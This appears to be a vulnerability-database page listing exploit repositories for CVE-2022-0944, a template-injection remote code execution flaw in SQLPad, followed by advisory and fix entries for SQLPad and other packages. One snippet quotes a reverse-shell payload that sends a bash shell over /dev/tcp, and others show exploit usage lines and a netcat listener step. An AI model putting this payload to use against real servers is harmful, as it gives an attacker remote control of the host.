GHSA-JGGR-W7FW-PC2J vulnerabilities

Vulnerabilities for packages: sqlpad, dotstatsuite-supercore...

CVE-2022-0944

CVE-2022-0944 SQLPad - テンプレートインジェクション これはブラインド脆弱性であり、出力がレスポンスに直接返されることを意味します。 エクスプロイト 次のコマンドでスクリプトを使用してください： python3 exploit.py --url http://localhost:13000 --command 'ls -la /tmp/test' --username admin --password password 出力 Login was successfull Exploited! テスト環境 Dockerを使用する場合： dockerコンテナを起動 -...

CVE-2022-0944

CVE-2022-0944 PoC SQLPad における RCE の PoC です。 この例ではリバースシェルを起動しますが、ペイロード内の 'exec' 呼び出しのコマンドを変更することで、利用可能な任意のコマンドを実行するようにペイロードを変更できます。 payload = f" process.mainModule.require'childprocess'.exec'/bin/bash -c "bash -i & /dev/tcp/reversehost/reverseport 0&1"' " 必要条件 Python 3 使用方法 1. リスナーを起動する...

CVE-2022-0944

CVE-2022-0944 SQLPad RCE CVE-2022-0944 の概念実証エクスプロイトです。 使用方法 usage: main.py -h url lhost lport username password positional arguments: url URL to SQLPad lhost Listener host address for reverse shell lport Listener port for reverse shell username login username optional password login password...

sqlpad-rce-exploit-CVE-2022-0944

SQLPad RCE 漏洞利用 此仓库包含一个针对 SQLPad 中 CVE-2022-0944 的漏洞利用脚本，该漏洞允许通过 /api/test-connection 端点进行远程代码执行（RCE）。 概述 提供的脚本 exploit.py 演示了如何利用 SQLPad 中的 RCE 漏洞。该脚本向易受攻击的端点发送 payload，在目标服务器上执行命令。 功能特性 盲 RCE ：在目标服务器上执行命令，无需接收直接响应。 Netcat 监听器 ：需要在攻击者机器上设置 netcat 监听器以接收输出。 前提条件 Python 3.x requests 库（可通过 pip 安装）...

CVE-2022-0944_RCE_POC

CVE-2022-0944 SQLPad RCE CVE-2022-0944 の概念実証エクスプロイトで、攻撃者のPCへのリバースシェルを伴うRCEに至ります。 使用方法 usage: script.py URL IP PORT positional arguments: URL URL to SQLPad IP Listener host address for reverse shell PORT Listener port for reverse shell 例: trigger exploit ./script.py http://admin.sightless.htb...

SQLPad-RCE-Exploit-CVE-2022-0944

動作の仕組み: このPHPコードは、SQLPad におけるリモートコード実行（RCE）の脆弱性（CVE-2022-0944 ）を悪用するために設計されています。 SQLPadアプリケーションに悪意のあるコードを注入し、脆弱なシステムのリモート制御を攻撃者に与える接続であるリバースシェルを開くシステムコマンドを実行させます。 前提条件: PHP CLI – sudo apt-get install php-cli cURL（PHP cURLライブラリ） – sudo apt-get install php-curl 使用方法: 1. リスナーのセットアップ（攻撃者マシン上）...

SQLPad-6.10.0-Exploit-CVE-2022-0944

SQLPad 6.10.0 エクスプロイト CVE-2022-0944 このBashスクリプトは、SQLPad 6.10.0のRCE脆弱性を悪用し、攻撃者がSQLPadのMySQLデータベース接続設定におけるhostおよびdatabaseフィールドを悪用してリモートコード実行（RCE）を達成することを可能にします。このエクスプロイトは、Node.jsのchildprocessモジュールに対する無害化されていない処理を利用して任意のコマンドを実行し、最終的に攻撃者のマシンにリバースシェルを開きます。 前提条件 1. Netcatリスナー : nc -lvnp...

GHSA-2VR4-CQ9G-PVRC vulnerabilities

Vulnerabilities for packages: kibana, lerna, commercial-gitlab-rails-ee, code-server, unleash-proxy, homepage, unleash-fips, npm, langfuse-fips, wazuh-dashboard, renovate, unleash, librechat, sqlpad, prism, graalvm, commercial-gitlab-rails-ee-fips, wazuh-dashboard-fips, langfuse, pulumi,...

GHSA-RPW4-54J3-4H4Q vulnerabilities

Vulnerabilities for packages: kibana, lerna, commercial-gitlab-rails-ee, code-server, unleash-proxy, homepage, unleash-fips, npm, langfuse-fips, wazuh-dashboard, renovate, unleash, librechat, sqlpad, prism, graalvm, commercial-gitlab-rails-ee-fips, wazuh-dashboard-fips, langfuse, pulumi,...

CVE-2026-101910 vulnerabilities

Vulnerabilities for packages: kibana, lerna, commercial-gitlab-rails-ee, code-server, unleash-proxy, homepage, unleash-fips, npm, langfuse-fips, wazuh-dashboard, renovate, unleash, librechat, sqlpad, prism, graalvm, commercial-gitlab-rails-ee-fips, wazuh-dashboard-fips, langfuse, pulumi,...

CVE-2026-101913 vulnerabilities

Vulnerabilities for packages: kibana, lerna, commercial-gitlab-rails-ee, code-server, unleash-proxy, homepage, unleash-fips, npm, langfuse-fips, wazuh-dashboard, renovate, unleash, librechat, sqlpad, prism, graalvm, commercial-gitlab-rails-ee-fips, wazuh-dashboard-fips, langfuse, pulumi,...

CVE-2026-101910 vulnerabilities

Vulnerabilities for packages: prism, renovate, code-server, sqlpad, pulumi, lerna, npm...

CVE-2026-101913 vulnerabilities

Vulnerabilities for packages: prism, renovate, code-server, sqlpad, pulumi, lerna, npm...

GHSA-RPW4-54J3-4H4Q vulnerabilities

Vulnerabilities for packages: prism, renovate, code-server, sqlpad, pulumi, lerna, npm...

GHSA-2VR4-CQ9G-PVRC vulnerabilities

Vulnerabilities for packages: prism, renovate, code-server, sqlpad, pulumi, lerna, npm...

GHSA-7Q85-XJ36-VMFC vulnerabilities

Vulnerabilities for packages: saf, sqlpad...

CVE-2026-77301 vulnerabilities

Vulnerabilities for packages: saf, sqlpad...

CLEANSTART-2026-FG94911 Security fix for ghsa-8qq5-rm4j-mr97 applied in: mongosh 2.5.10-r5, mongosh 2.8.1-r0, renovate 43.4.4-r0, sqlpad 7.5.7-r0, thingsboard 4.2.1.1-r1, thingsboard-tb-web-ui 4.2.1.1-r1

ghsa-8qq5-rm4j-mr97 affects multiple packages. This issue is resolved in later releases. See references for individual vulnerability details...

CLEANSTART-2026-LS86065 Security fix for ghsa-xxjr-mmjv-4gpg applied in: jitsucom-jitsu 2.11.0-r2, sqlpad 7.5.7-r0

ghsa-xxjr-mmjv-4gpg affects multiple packages. This issue is resolved in later releases. See references for individual vulnerability details...